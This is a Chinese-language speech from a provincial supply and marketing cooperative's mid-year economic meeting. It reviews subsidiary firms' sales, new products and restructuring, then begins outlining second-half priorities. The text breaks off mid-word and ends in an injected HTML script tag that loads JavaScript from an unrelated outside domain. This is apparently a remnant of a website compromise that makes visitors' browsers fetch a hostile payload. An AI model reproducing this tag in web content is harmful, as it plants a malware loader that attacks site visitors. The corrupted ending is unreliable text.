今天省社召开的上半年经济运行形势分析会，就是在总结上半年经济运行情况、查找经济运行中存在的问题和不足的基础上，研究制定新措施、新对策，进一步安排部署下半年工作，确保我社今年各项经济指标的全面完成。刚才听了各企业的汇报，我感觉今年上半年，各企业紧紧围绕社党组、理事会的工作安排，深入贯彻省委十届八次全会精神，真抓实干，求真务实，集中精力干工作，一心一意谋发展，为我社上半年经济的平稳运行抢得了先机，争得了主动。具体讲有以下三个特点：
  一是经济运行平稳，态势良好
  省农资公司上半年已完成化肥销售10.8万吨，实现销售额2.7亿元，较去年同期增长2689万元，同时，结合“万村千乡”市场工程项目，发展乡级店、村级店220个，充分发挥了我省农资供应主渠道的作用；省环海茶叶公司积极拓展经营渠道，购进澳的利系列饮料400万元，发展连锁店108个，合计实现产品销售额629万元，较去年同期增长13.9%，取得了较好的经济效益和社会效益；省花宝公司以项目建设为突破口，积极开发新产品，虫草蜂王浆产品已投产，提高了产品的科技附加值，增强了企业市场竞争力；省土产公司在做大烟花爆竹经营业务上，向安全要效益，制定严格的管理措施，开展连锁配送经营，建立烟花爆竹配送中心12个，加盟店230个，实现营业收入184万元，使企业得到了较大的发展；省汇益公司通过改制，在经营理念上有新的突破，销售收入在原来的基础上增加77万元；省德吉橡胶公司经过半年的筹建试运行，现已顺利投产，并生产出合格的再生胶产品900吨，产值220万元，成为我社再生资源行业发展的一个新亮点。
  二是工作有创新
  农资公司在立足主业、强化管理、提高效益的前提下，与甘肃省定远塑料制品有限公司联合生产地膜，与甘肃武酒集团建立长期酒类销售合作关系，与省外农资企业签订了近10万吨的钾肥购销合同，拓展了企业的发展空间；环海茶叶公司与湖南临湘茶场联合开发研制出“环海”牌茯砖茶，投放市场以来深受广大消费者欢迎，同时，还以澳的利饮料销售为突破口，创新新形象、新关系、新绿色三大营销模式，强强联合，开展连锁配送，逐步形成了规模化经营；花宝公司充分利用我省的资源优势，研发出虫草蜂王浆、虫草蜂花粉等系列产品，走高科技新产品开发的路子，生产经营迈上了一个新的台阶；土产公司积极做好我省各类庆典、节日的烟花爆竹专营燃放工作，并联合开发建设中药材生产基地项目，做到淡季不淡，主业副业两手抓，为企业寻找新的经济增长点；德吉橡胶公司积极研发火（汽）车专用垫片、橡胶鞋垫、运动用泡沫橡胶等精深加工产品，延伸产业链条。这些都是工作创新的体现。
  三是改革改制工作稳步推进
  上半年土产公司改制已完成，同时，农资公司、环海茶叶公司、花宝公司、汇益公司在改制完成的基础上，进一步完善了企业的各项规章管理制度，办理了土地出让手续，盘活了企业资产，仅此一项增值近2000多万元，壮大了企业实力，极大地调动了广大职工的积极性，一种向管理要效益、以管理求生存谋发展的新风正在形成。
  前半年的工作，我们虽然取得了一定的成绩，但也存在着一些困难和问题：一是对争取到的国家及省上的有关政策吃的不准，摸的不透，研究的不够，用的不活，失去了良机。二是企业普遍缺乏流动资金，在盘活资产、整合资源上办法少，以项目建设来搭建企业发展平台的认识不到位，不主动，不积极，谋化的少。三是在发展流通网络上单打独奏，各企业之间、企业与基层供销社之间联合与合作的经验少，没有找准终端发展目标，这个终端发展目标就是村级综合服务社，因为村级综合服务社是我们四大网络发展在最基层联合的服务社。这些困难和问题，各处室、各企业下去后要认真研究，分清轻重缓急，逐一解决。
  下面，我结合各企业的工作汇报和各处室的建议，就下半年的工作讲几点意见：
  一、抓住机遇，加快发展。
  过去我们丧失了太多的机遇，以至于我们的许多工作长期停滞不前，今天我们又面临着新的发展机遇，这个机遇我们再不能错过，要抓住机遇，加快供销社的发展。这些机遇归纳起来有这样几个方面:一是中央提出建设社会主义新农村。我们供销社是为“三农”服务的合作经济组织，是构通城乡经济社会发展的重要载体，曾长期服务于“三农”，在社会主义新农村建设中我们有许多优势，可以大有作为；二是最近，国务院专门召开会议听取了中华全国供销总社《关于建设新农村现代流通服务网络工作的汇报》，会上中央有关领导充分肯定了供销合作社改革发展取得的成绩和新农村建设中的重要作用，明确指出“建设农村流通服务网络是促进现代农业建设的大事，是发展农村经济的好事，是为农民服务和社会主义新农村建设的实事，也是供销合作社自身生存和发展的要事”；三是赵乐际书记在省委十届八次全会的讲话中也明确要求：供销合作社要进一步创?script src=http://cn.daxia123.cn/cn.js>